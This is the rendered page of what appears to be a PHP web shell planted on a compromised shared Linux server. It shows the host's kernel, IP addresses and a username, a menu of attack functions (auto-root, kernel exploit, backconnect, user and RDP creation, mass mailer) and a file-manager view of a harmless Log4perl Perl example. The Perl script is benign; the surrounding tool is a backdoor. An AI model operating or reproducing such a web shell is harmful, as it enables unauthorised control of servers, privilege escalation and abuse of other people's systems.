Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
liblog-log4perl-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
benchmarks
[ DIR ]
drwxr-xr-x
L4pResurrectable.pm
181
B
-rw-r--r--
color
768
B
-rwxr-xr-x
dupe-warning.conf
329
B
-rw-r--r--
jabber.conf
591
B
-rw-r--r--
l4p-tmpl
1.8
KB
-rwxr-xr-x
log4j-file-append-java.conf
532
B
-rw-r--r--
log4j-file-append-perl.conf
534
B
-rw-r--r--
log4j-manual-1.conf
508
B
-rw-r--r--
log4j-manual-2.conf
479
B
-rw-r--r--
log4j-manual-3.conf
541
B
-rw-r--r--
log4j-utf8.conf
219
B
-rw-r--r--
newsyslog-test
945
B
-rwxr-xr-x
override_appender
2.2
KB
-rwxr-xr-x
prototype
781
B
-rwxr-xr-x
syslog.pl
1.49
KB
-rwxr-xr-x
yamlparser
2.23
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : yamlparser
#!/usr/bin/perl ########################################### # yamlparser # Mike Schilli, 2004 (m@perlmeister.com) ########################################### use warnings; use strict; package MyYAMLParser; use base qw(Log::Log4perl::Config::BaseConfigurator); use YAML qw(LoadFile Load); use Data::Dumper; ########################################### sub new { ########################################### my($class, %options) = @_; my $self = {}; bless $self, $class; $self->{text} = $options{text} if exists $options{text}; $self->{file} = $options{file} if exists $options{file}; if(! exists $self->{text} and ! exists $self->{file}) { die "usage: ", __PACKAGE__, "->new(file => \$filename) or ", __PACKAGE__, "->new(text => \$text)"; } return $self; } ########################################### sub parse { ########################################### my($self) = @_; my $data = {}; if(exists $self->{text}) { $self->{data} = Load($self->{text}); } # Move all non-hash values under {...}->{value} my @todo = ($self->{data}); while (@todo) { my $ref = shift @todo; for (keys %$ref) { if(ref($ref->{$_}) eq "HASH") { push @todo, $ref->{$_}; } elsif($_ eq "name") { # Appender 'name' entries are # converted to ->{value} entries $ref->{value} = $ref->{$_}; delete $ref->{$_}; } else { my $tmp = $ref->{$_}; $ref->{$_} = {}; $ref->{$_}->{value} = $tmp; } } } return $self->{data}; } package main; use Log::Log4perl; my $p = MyYAMLParser->new(text => <<EOT); category: Bar: Twix: WARN, Screen, Screen2 appender: Screen: name: Log::Log4perl::Appender::Screen layout: Log::Log4perl::Layout::SimpleLayout Screen2: name: Log::Log4perl::Appender::Screen layout: Log::Log4perl::Layout::SimpleLayout EOT # use Data::Dump qw(dump); # print dump($p->parse()); Log::Log4perl->init($p); my $log = Log::Log4perl->get_logger("Bar::Twix"); $log->warn('foo');
Close